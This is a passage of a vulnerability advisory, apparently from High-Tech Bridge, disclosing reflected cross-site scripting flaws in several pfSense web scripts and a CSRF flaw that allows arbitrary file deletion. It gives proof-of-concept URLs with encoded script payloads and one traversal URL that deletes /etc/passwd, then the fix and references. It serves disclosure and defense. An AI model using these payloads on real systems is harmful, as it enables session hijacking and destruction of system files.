A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E1.2 Input passed via the "if" and "dragtable" HTTP GET parameters to "/firewall_rules.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.Below are two PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3Ehttps://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E1.3 Input passed via the "queue" HTTP GET parameter to "/firewall_shaper.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E1.4 Input passed via the "id" HTTP GET parameter to "/services_unbound_acls.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.PoC code below uses JS "alert()" function to display "ImmuniWeb" popup:https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E1.5 Input passed via the "filterlogentries_time", "filterlogentries_sourceipaddress", "filterlogentries_sourceport", "filterlogentries_destinationipaddress", "filterlogentries_interfaces", "filterlogentries_destinationport", "filterlogentries_protocolflags" and "filterlogentries_qty" HTTP GET parameters to "/diag_logs_filter.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.Below are eight PoC codes for each vulnerable parameter that use JS "alert()" function to display "ImmuniWeb" popup:https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3Ehttps://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3Ehttps://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3Ehttps://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3Ehttps://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3Ehttps://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3Ehttps://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3Ehttps://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E2) Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-22952.1 The vulnerability exists due to insufficient validation of the HTTP request origin in "/system_firmware_restorefullbackup.php" script. A remote attacker can trick a log-in administrator to visit a malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges.The following PoC code deletes file "/etc/passwd":https://[host]/system_firmware_restorefullbackup.php?deletefile=../etc/passwd-----------------------------------------------------------------------------------------------Solution:Update to pfSense 2.2.1More Information:https://blog.pfsense.org/?p=1661-----------------------------------------------------------------------------------------------References:[1] High-Tech Bridge Advisory HTB23251 - https://www.htbridge.com/advisory/HTB23251 - Arbitrary file deletion and multiple XSS vulnerabilities in pfSense.[2] pfSense - https://www.pfsense.org - The pfSense® project is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.-----------------------------------------------------------------------------------------------Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind.
